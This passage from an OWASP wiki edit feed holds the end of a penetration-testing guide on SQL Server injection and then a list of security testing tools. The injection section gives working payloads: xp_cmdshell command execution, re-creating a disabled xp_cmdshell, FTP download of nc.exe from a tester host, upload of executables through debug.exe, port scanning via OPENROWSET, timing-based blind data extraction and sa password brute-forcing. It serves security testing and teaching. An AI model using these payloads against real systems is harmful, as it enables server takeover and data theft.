 Proxy-Connection: keep-alive&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;http://vulnerable.web.app/forgotpass.asp&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
 Content-Type: application/x-www-form-urlencoded&lt;br /&gt;
 Content-Length: 50&amp;lt;br&amp;gt;&lt;br /&gt;
 email=%27&amp;amp;whichSubmit=submit&amp;amp;submit.x=0&amp;amp;submit.y=0&lt;br /&gt;
&lt;br /&gt;
The error message obtained when a ' (single quote) character is entered at the email field is:&lt;br /&gt;
&lt;br /&gt;
 Microsoft OLE DB Provider for SQL Server error '80040e14'&lt;br /&gt;
 Unclosed quotation mark before the character string '' '.&lt;br /&gt;
 /forgotpass.asp, line 15 &lt;br /&gt;
&lt;br /&gt;
===Example 4: Yet another (useful) GET example===&lt;br /&gt;
&lt;br /&gt;
Obtaining the application's source code&lt;br /&gt;
&lt;br /&gt;
 a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--&lt;br /&gt;
&lt;br /&gt;
===Example 5: custom xp_cmdshell===&lt;br /&gt;
&lt;br /&gt;
All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2000:&lt;br /&gt;
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS&lt;br /&gt;
  DECLARE @result int, @OLEResult int, @RunResult int&lt;br /&gt;
  DECLARE @ShellID int&lt;br /&gt;
  EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 SELECT @result = @OLEResult&lt;br /&gt;
  IF @OLEResult &amp;lt;&amp;gt; 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)&lt;br /&gt;
  EXECUTE @OLEResult = sp_OADestroy @ShellID&lt;br /&gt;
  return @result&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This code, written by Antonin Foller (see links at the bottom of the page), creates a new xp_cmdshell using sp_oacreate, sp_method and sp_destroy (as long as they haven't been disabled too, of course). Before using it, we need to delete the first xp_cmdshell we created (even if it was not working), otherwise the two declarations will collide.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
On SQL Server 2005, xp_cmdshell can be enabled by injecting the following code instead:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
master..sp_configure 'show advanced options',1&lt;br /&gt;
reconfigure&lt;br /&gt;
master..sp_configure 'xp_cmdshell',1&lt;br /&gt;
reconfigure&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 6: Referer / User-Agent===&lt;br /&gt;
&lt;br /&gt;
The REFERER header set to:&lt;br /&gt;
&lt;br /&gt;
 Referer: &amp;lt;nowiki&amp;gt;https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:&lt;br /&gt;
&lt;br /&gt;
 User-Agent: user_agent', 'some_ip'); [SQL CODE]--&lt;br /&gt;
&lt;br /&gt;
===Example 7: SQL Server as a port scanner===&lt;br /&gt;
&lt;br /&gt;
In SQL Server, one of the most useful (at least for the penetration tester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL Server does not exist or access denied&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
On the other hand, if the port is open, one of the following errors will be returned:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
General network error. Check your network documentation&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Of course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away. &lt;br /&gt;
&lt;br /&gt;
Keep in mind that OPENROWSET is enabled by default in SQL Server 2000 but disabled in SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
===Example 8: Upload of executables===&lt;br /&gt;
&lt;br /&gt;
Once we can use xp_cmdshell (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is netcat.exe, but any trojan will be useful here.&lt;br /&gt;
If the target is allowed to start FTP connections to the tester's machine, all that is needed is to inject the following queries:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo open ftp.tester.org &amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo USER &amp;gt;&amp;gt; ftpscript.txt';-- &lt;br /&gt;
exec master..xp_cmdshell 'echo PASS &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo bin &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo get nc.exe &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo quit &amp;gt;&amp;gt; ftpscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'ftp -s:ftpscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, nc.exe will be uploaded and available.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
If FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, debug.exe, that is installed by default in all Windows machines. Debug.exe is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call debug.exe on it. There are several tools that create such debug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by toolcrypt.org). The queries to inject will therefore be the following:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #1 of n] &amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #2 of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
....&lt;br /&gt;
exec master..xp_cmdshell 'echo [debug script line #n of n] &amp;gt;&amp;gt; debugscript.txt';--&lt;br /&gt;
exec master..xp_cmdshell 'debug.exe &amp;lt; debugscript.txt';--&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
At this point, our executable is available on the target machine, ready to be executed.&lt;br /&gt;
&lt;br /&gt;
There are tools that automate this process, most notably Bobcat, which runs on Windows, and Sqlninja, which runs on Unix (See the tools at the bottom of this page).&lt;br /&gt;
&lt;br /&gt;
===Obtain information when it is not displayed (Out of band)===&lt;br /&gt;
&lt;br /&gt;
Not all is lost when the web application does not return any information --such as descriptive error messages (cf. [[Blind SQL Injection]]). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pen tester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested. &lt;br /&gt;
&lt;br /&gt;
Other options for out of band attacks are described in Sample 4 above.&lt;br /&gt;
&lt;br /&gt;
===Blind SQL injection attacks===&lt;br /&gt;
&lt;br /&gt;
====Trial and error====&lt;br /&gt;
Alternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), use fuzz vectors ([[OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors|1]]) against this channel and watch the response. For example, if the web application is looking for a book using a query&lt;br /&gt;
&lt;br /&gt;
   select * from books where title='''text entered by the user'''&lt;br /&gt;
&lt;br /&gt;
then the penetration tester might enter the text: ''''Bomba' OR 1=1-''' and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later ''play'' with the queries in order to assess the criticality of this vulnerability.&lt;br /&gt;
&lt;br /&gt;
====If more than one error message is displayed====&lt;br /&gt;
On the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any ''covert channel''. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example: &lt;br /&gt;
&lt;br /&gt;
* In some cases the web application (actually the web server) might return the traditional ''500: Internal Server Error'', say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes. &lt;br /&gt;
* While in other cases the server will return a 200 OK message, but the web application will return some error message inserted by the developers ''Internal server error'' or ''bad data''. &lt;br /&gt;
&lt;br /&gt;
This one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit.&lt;br /&gt;
&lt;br /&gt;
Another out-of-band method is to output the results through HTTP browseable files.&lt;br /&gt;
&lt;br /&gt;
====Timing attacks====&lt;br /&gt;
There is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is described by Anley in ([2]) from where we take the next examples. A typical approach uses the ''waitfor delay'' command: let's say that the attacker wants to check if the 'pubs' sample database exists, he will simply inject the following command:&lt;br /&gt;
&lt;br /&gt;
 if exists (select * from pubs..pub_info) waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Depending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a '''SQL injection vulnerability''' and a '''covert channel''' that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pen tester can get any data that is in the database. Look at the following query&lt;br /&gt;
&lt;br /&gt;
 declare @s varchar(8000)&lt;br /&gt;
 declare @i int&lt;br /&gt;
 select @s = db_name()&lt;br /&gt;
 select @i = [some value]&lt;br /&gt;
 if (select len(@s)) &amp;lt; @i waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Measuring the response time and using different values for @i, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:&lt;br /&gt;
&lt;br /&gt;
 if (ascii(substring(@s, @byte, 1)) &amp;amp; ( power(2, @bit))) &amp;gt; 0 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
This query will wait for 5 seconds if bit '@bit' of byte '@byte' of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for @byte and one for @bit) we will we able to extract the whole piece of information.&lt;br /&gt;
&lt;br /&gt;
However, it might happen that the command ''waitfor'' is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn't mean that blind SQL injection attacks cannot be done, as the pen tester should only come up with any time consuming operation that is not filtered. For example&lt;br /&gt;
&lt;br /&gt;
 declare @i int select @i = 0&lt;br /&gt;
 while @i &amp;lt; 0xaffff begin&lt;br /&gt;
 select @i = @i + 1&lt;br /&gt;
 end&lt;br /&gt;
&lt;br /&gt;
====Checking for version and vulnerabilities====&lt;br /&gt;
The same timing approach can be used also to understand which version of SQL Server we are dealing with. Of course we will leverage the built-in @@version variable. Consider the following query:&lt;br /&gt;
&lt;br /&gt;
 select @@version&lt;br /&gt;
&lt;br /&gt;
On SQL Server 2005, it will return something like the following:&lt;br /&gt;
&lt;br /&gt;
 Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 &amp;lt;snip&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The '2005' part of the string spans from the 22nd to the 25th character. Therefore, one query to inject can be the following:&lt;br /&gt;
&lt;br /&gt;
 if substring((select @@version),25,1) = 5 waitfor delay '0:0:5'&lt;br /&gt;
&lt;br /&gt;
Such query will wait 5 seconds if the 25th character of the @@version variable is '5', showing us that we are dealing with a SQL Server 2005. If the query returns immediately, we are probably dealing with SQL Server 2000, and another similar query will help to clear all doubts.&lt;br /&gt;
&lt;br /&gt;
===Example 9: bruteforce of sysadmin password===&lt;br /&gt;
&lt;br /&gt;
To bruteforce the sysadmin password, we can leverage the fact that OPENROWSET needs proper credentials to successfully perform the connection and that such a connection can be also &amp;quot;looped&amp;quot; to the local DB Server.&lt;br /&gt;
Combining these features with an inferenced injection based on response timing, we can inject the following code:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
select * from OPENROWSET('SQLOLEDB','';'sa';'&amp;lt;pwd&amp;gt;','select 1;waitfor delay ''0:0:5'' ')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
What we do here is to attempt a connection to the local database (specified by the empty field after 'SQLOLEDB') using &amp;quot;sa&amp;quot; and &amp;quot;&amp;lt;pwd&amp;gt;&amp;quot; as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In &amp;quot;Data-mining with SQL Injection and Inference&amp;quot;, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself. &lt;br /&gt;
Once we have the sysadmin password, we have two choices:&lt;br /&gt;
&lt;br /&gt;
* Inject all following queries using OPENROWSET, in order to use sysadmin privileges&lt;br /&gt;
&lt;br /&gt;
* Add our current user to the sysadmin group using sp_addsrvrolemember. The current user name can be extracted using inferenced injection against the variable system_user.&lt;br /&gt;
&lt;br /&gt;
Remember that OPENROWSET is accessible to all users on SQL Server 2000 but it is restricted to administrative accounts on SQL Server 2005.&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.nextgenss.com/research/papers/sqlinference.pdf&lt;br /&gt;
* Chris Anley, &amp;quot;(more) Advanced SQL Injection&amp;quot; - http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf&lt;br /&gt;
* Steve Friedl's Unixwiz.net Tech Tips: &amp;quot;SQL Injection Attacks by Example&amp;quot; - http://www.unixwiz.net/techtips/sql-injection.html&lt;br /&gt;
* Alexander Chigrik: &amp;quot;Useful undocumented extended stored procedures&amp;quot; - http://www.mssqlcity.com/Articles/Undoc/UndocExtSP.htm&lt;br /&gt;
* Antonin Foller: &amp;quot;Custom xp_cmdshell, using shell object&amp;quot; - http://www.motobit.com/tips/detpg_cmdshell&lt;br /&gt;
* Paul Litwin: &amp;quot;Stop SQL Injection Attacks Before They Stop You&amp;quot; - http://msdn.microsoft.com/msdnmag/issues/04/09/SQLInjection/&lt;br /&gt;
* SQL Injection - http://msdn2.microsoft.com/en-us/library/ms161953.aspx&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [[http://www.sqlpowerinjector.com/index.htm SQL Power Injector]]&lt;br /&gt;
* Northern Monkee: [[http://www.northern-monkee.co.uk/projects/bobcat/bobcat.html Bobcat]]&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [[http://sqlninja.sourceforge.net sqlninja]]&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Appendix_A:_Testing_Tools&amp;diff=68767</id>
		<title>Appendix A: Testing Tools</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Appendix_A:_Testing_Tools&amp;diff=68767"/>
				<updated>2009-09-13T12:31:30Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
==Open Source Black Box Testing tools==&lt;br /&gt;
&lt;br /&gt;
=== General Testing ===&lt;br /&gt;
&lt;br /&gt;
* '''[[OWASP_WebScarab_Project|OWASP WebScarab]]'''&lt;br /&gt;
* '''[[OWASP_CAL9000_Project|OWASP CAL9000]]'''&lt;br /&gt;
** CAL9000 is a collection of browser-based tools that enable more effective and efficient manual testing efforts.&lt;br /&gt;
** Includes an XSS Attack Library, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more.&lt;br /&gt;
*  '''[[:Category:OWASP Pantera Web Assessment Studio Project|OWASP Pantera Web Assessment Studio Project]]'''&lt;br /&gt;
* SPIKE - http://www.immunitysec.com&lt;br /&gt;
* Paros - http://www.parosproxy.org&lt;br /&gt;
* Burp Proxy - http://www.portswigger.net&lt;br /&gt;
* Achilles Proxy - http://www.mavensecurity.com/achilles&lt;br /&gt;
* Odysseus Proxy - http://www.wastelands.gen.nz/odysseus/&lt;br /&gt;
* Webstretch Proxy - http://sourceforge.net/projects/webstretch&lt;br /&gt;
* Firefox LiveHTTPHeaders, Tamper Data and Developer Tools - http://www.mozdev.org&lt;br /&gt;
* Grendel-Scan - http://www.grendel-scan.com&lt;br /&gt;
* [[:Category:SWFIntruder|OWASP SWFIntruder]] &lt;br /&gt;
* http://www.mindedsecurity.com/swfintruder.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME| link not working&lt;br /&gt;
&lt;br /&gt;
* Sensepost Wikto (Google cached fault-finding) - http://www.sensepost.com/research/wikto/index2.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
=== Testing for specific vulnerabilities ===&lt;br /&gt;
&lt;br /&gt;
==== Testing AJAX ====&lt;br /&gt;
* '''[[:Category:OWASP Sprajax Project|OWASP Sprajax Project]]'''&lt;br /&gt;
==== Testing for SQL Injection ====&lt;br /&gt;
* '''[[:Category:OWASP_SQLiX_Project|OWASP SQLiX]]'''&lt;br /&gt;
* Sqlninja: a SQL Server Injection &amp;amp; Takeover Tool - http://sqlninja.sourceforge.net&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* Absinthe 1.1 (formerly SQLSqueal) - http://www.0x90.org/releases/absinthe/&lt;br /&gt;
* SQLInjector - http://www.databasesecurity.com/sql-injector.htm&lt;br /&gt;
* bsqlbf-1.2-th - http://www.514.es&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link not working&lt;br /&gt;
&lt;br /&gt;
* Multiple DBMS Sql Injection tool - SQL Power Injector&lt;br /&gt;
* MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools&lt;br /&gt;
* Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
==== Testing Oracle ====&lt;br /&gt;
* TNS Listener tool (Perl) - http://www.jammed.com/%7Ejwa/hacks/security/tnscmd/tnscmd-doc.html&lt;br /&gt;
* Toad for Oracle - http://www.quest.com/toad &lt;br /&gt;
==== Testing SSL ====&lt;br /&gt;
* Foundstone SSL Digger - http://www.foundstone.com/resources/proddesc/ssldigger.htm&lt;br /&gt;
==== Testing for Brute Force Password ====&lt;br /&gt;
* THC Hydra - http://www.thc.org/thc-hydra/&lt;br /&gt;
* John the Ripper - http://www.openwall.com/john/&lt;br /&gt;
* Brutus - http://www.hoobie.net/brutus/ &lt;br /&gt;
* Medusa - http://www.foofus.net/~jmk/medusa/medusa.html&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link not working&lt;br /&gt;
==== Testing for HTTP Methods ====&lt;br /&gt;
* NetCat - http://www.vulnwatch.org/netcat&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
==== Testing Buffer Overflow ====&lt;br /&gt;
*  OllyDbg - http://www.ollydbg.de&lt;br /&gt;
** &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot;&lt;br /&gt;
* Spike - http://www.immunitysec.com/downloads/SPIKE2.9.tgz&lt;br /&gt;
** A fuzzer framework that can be used to explore vulnerabilities and perform length testing&lt;br /&gt;
* Brute Force Binary Tester (BFB) - http://bfbtester.sourceforge.net&lt;br /&gt;
** A proactive binary checker&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link not working&lt;br /&gt;
&lt;br /&gt;
* Metasploit - http://www.metasploit.com/projects/Framework/&lt;br /&gt;
** A rapid exploit development and Testing frame work&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
==== Fuzzer  ====&lt;br /&gt;
* '''[[:Category:OWASP_WSFuzzer_Project|OWASP WSFuzzer]]'''&lt;br /&gt;
&lt;br /&gt;
==== Googling ====&lt;br /&gt;
* Foundstone Sitedigger (Google cached fault-finding) - http://www.foundstone.com/resources/proddesc/sitedigger.htm&lt;br /&gt;
&lt;br /&gt;
==Commercial Black Box Testing tools==&lt;br /&gt;
&lt;br /&gt;
* Typhon - http://www.ngssoftware.com/products/internet-security/ngs-typhon.php&lt;br /&gt;
* NGSSQuirreL - http://www.ngssoftware.com/products/database-security/&lt;br /&gt;
* Watchfire AppScan - http://www.watchfire.com&lt;br /&gt;
* Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php&lt;br /&gt;
* Burp Intruder - http://portswigger.net/intruder&lt;br /&gt;
* Acunetix Web Vulnerability Scanner - http://www.acunetix.com&lt;br /&gt;
* WebSleuth - http://www.sandsprite.com&lt;br /&gt;
* NT Objectives NTOSpider - http://www.ntobjectives.com/products/ntospider.php&lt;br /&gt;
* Fortify Pen Testing Team Tool - http://www.fortifysoftware.com/products/tester&lt;br /&gt;
* Sandsprite Web Sleuth - http://sandsprite.com/Sleuth/&lt;br /&gt;
* MaxPatrol Security Scanner - http://www.maxpatrol.com&lt;br /&gt;
* Ecyware GreenBlue Inspector - http://www.ecyware.com&lt;br /&gt;
* Parasoft WebKing (more QA-type tool)&lt;br /&gt;
* MatriXay - http://www.dbappsecurity.com&lt;br /&gt;
* N-Stalker Web Application Security Scanner - http://www.nstalker.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|check these links&lt;br /&gt;
&lt;br /&gt;
* Watchfire AppScan - http://www.watchfire.com&lt;br /&gt;
* Cenzic Hailstorm - http://www.cenzic.com/products_services/cenzic_hailstorm.php&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
link broken:&lt;br /&gt;
* SPI Dynamics WebInspect - http://www.spidynamics.com&lt;br /&gt;
* ScanDo - http://www.kavado.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
==Source Code Analyzers==&lt;br /&gt;
&lt;br /&gt;
===Open Source / Freeware===&lt;br /&gt;
&lt;br /&gt;
* '''[[:Category:OWASP_LAPSE_Project|OWASP LAPSE]]''' &lt;br /&gt;
* PMD - http://pmd.sourceforge.net/&lt;br /&gt;
* FlawFinder - http://www.dwheeler.com/flawfinder&lt;br /&gt;
* Microsoft’s [[FxCop]]&lt;br /&gt;
* Splint - http://splint.org&lt;br /&gt;
* Boon - http://www.cs.berkeley.edu/~daw/boon&lt;br /&gt;
* FindBugs - http://findbugs.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|broken link&lt;br /&gt;
&lt;br /&gt;
* Pscan - http://www.striker.ottawa.on.ca/~aland/pscan&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
===Commercial ===&lt;br /&gt;
&lt;br /&gt;
* Armorize CodeSecure - http://www.armorize.com/index.php?link_id=codesecure&lt;br /&gt;
* CodeWizard - http://www.parasoft.com/products/wizard&lt;br /&gt;
* Checkmarx CxSuite  - http://www.checkmarx.com&lt;br /&gt;
* Fortify - http://www.fortifysoftware.com&lt;br /&gt;
* GrammaTech - http://www.grammatech.com&lt;br /&gt;
* ITS4 - http://www.cigital.com/its4&lt;br /&gt;
* Ounce labs Prexis - http://www.ouncelabs.com&lt;br /&gt;
* ParaSoft - http://www.parasoft.com&lt;br /&gt;
* Virtual Forge CodeProfiler for ABAP - http://www.virtualforge.de&lt;br /&gt;
* Veracode - http://www.veracode.com&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link not working&lt;br /&gt;
&lt;br /&gt;
* Armorize CodeSecure - http://www.armorize.com/product/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;br /&gt;
&lt;br /&gt;
==Acceptance Testing Tools==&lt;br /&gt;
Acceptance testing tools are used to validate the functionality of web applications.  Some follow a scripted approach and typically make use of a Unit Testing framework to construct test suites and test cases.  Most, if not all, can be adapted to perform security specific tests in addition to functional tests.&lt;br /&gt;
&lt;br /&gt;
===Open Source Tools===&lt;br /&gt;
&lt;br /&gt;
* WATIR - http://wtr.rubyforge.org&lt;br /&gt;
** A Ruby based web testing framework that provides an interface into Internet Explorer.&lt;br /&gt;
** Windows only.&lt;br /&gt;
* HtmlUnit - http://htmlunit.sourceforge.net &lt;br /&gt;
** A Java and JUnit based framework that uses the Apache HttpClient as the transport.&lt;br /&gt;
** Very robust and configurable and is used as the engine for a number of other testing tools.&lt;br /&gt;
* jWebUnit - http://jwebunit.sourceforge.net&lt;br /&gt;
** A Java based meta-framework that uses htmlunit or selenium as the testing engine.&lt;br /&gt;
* Canoo Webtest - http://webtest.canoo.com&lt;br /&gt;
** An XML based testing tool that provides a facade on top of htmlunit.&lt;br /&gt;
** No coding is necessary as the tests are completely specified in XML.&lt;br /&gt;
** There is the option of scripting some elements in Groovy if XML does not suffice.&lt;br /&gt;
** Very actively maintained.&lt;br /&gt;
* HttpUnit - http://httpunit.sourceforge.net&lt;br /&gt;
** One of the first web testing frameworks, suffers from using the native JDK provided HTTP transport, which can be a bit limiting for security testing.&lt;br /&gt;
* Watij - http://watij.com&lt;br /&gt;
** A Java implementation of WATIR.&lt;br /&gt;
** Windows only because it uses IE for its tests (Mozilla integration is in the works).&lt;br /&gt;
* Solex - http://solex.sourceforge.net&lt;br /&gt;
** An Eclipse plugin that provides a graphical tool to record HTTP sessions and make assertions based on the results.&lt;br /&gt;
* Selenium - http://www.openqa.org/selenium/&lt;br /&gt;
** JavaScript based testing framework, cross-platform and provides a GUI for creating tests.&lt;br /&gt;
** Mature and popular tool, but the use of JavaScript could hamper certain security tests.&lt;br /&gt;
&lt;br /&gt;
==Other Tools==&lt;br /&gt;
&lt;br /&gt;
===Runtime Analysis===&lt;br /&gt;
&lt;br /&gt;
*  Rational PurifyPlus - http://www-306.ibm.com/software/awdtools&lt;br /&gt;
&lt;br /&gt;
===Binary Analysis===&lt;br /&gt;
&lt;br /&gt;
* BugScam - http://sourceforge.net/projects/bugscam&lt;br /&gt;
* BugScan - http://www.hbgary.com&lt;br /&gt;
* Veracode - http://www.veracode.com&lt;br /&gt;
&lt;br /&gt;
===Requirements Management===&lt;br /&gt;
&lt;br /&gt;
* Rational Requisite Pro - http://www-306.ibm.com/software/awdtools/reqpro&lt;br /&gt;
&lt;br /&gt;
===Site Mirroring===&lt;br /&gt;
* wget - http://www.gnu.org/software/wget, http://www.interlog.com/~tcharron/wgetwin.html&lt;br /&gt;
* curl - http://curl.haxx.se &lt;br /&gt;
* Sam Spade - http://www.samspade.org&lt;br /&gt;
* Xenu - http://home.snafu.de/tilman/xenulink.html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|check this link&lt;br /&gt;
&lt;br /&gt;
*  Rational PurifyPlus - http://www-306.ibm.com/software/awdtools&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;/div&gt;</summary>
		<author><name>Inquis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=68766</id>
		<title>Testing for MySQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=68766"/>
				<updated>2009-09-13T12:31:00Z</updated>
		
		<summary type="html">&lt;p&gt;Inquis: &lt;/p&gt;
&lt;hr /&gt;
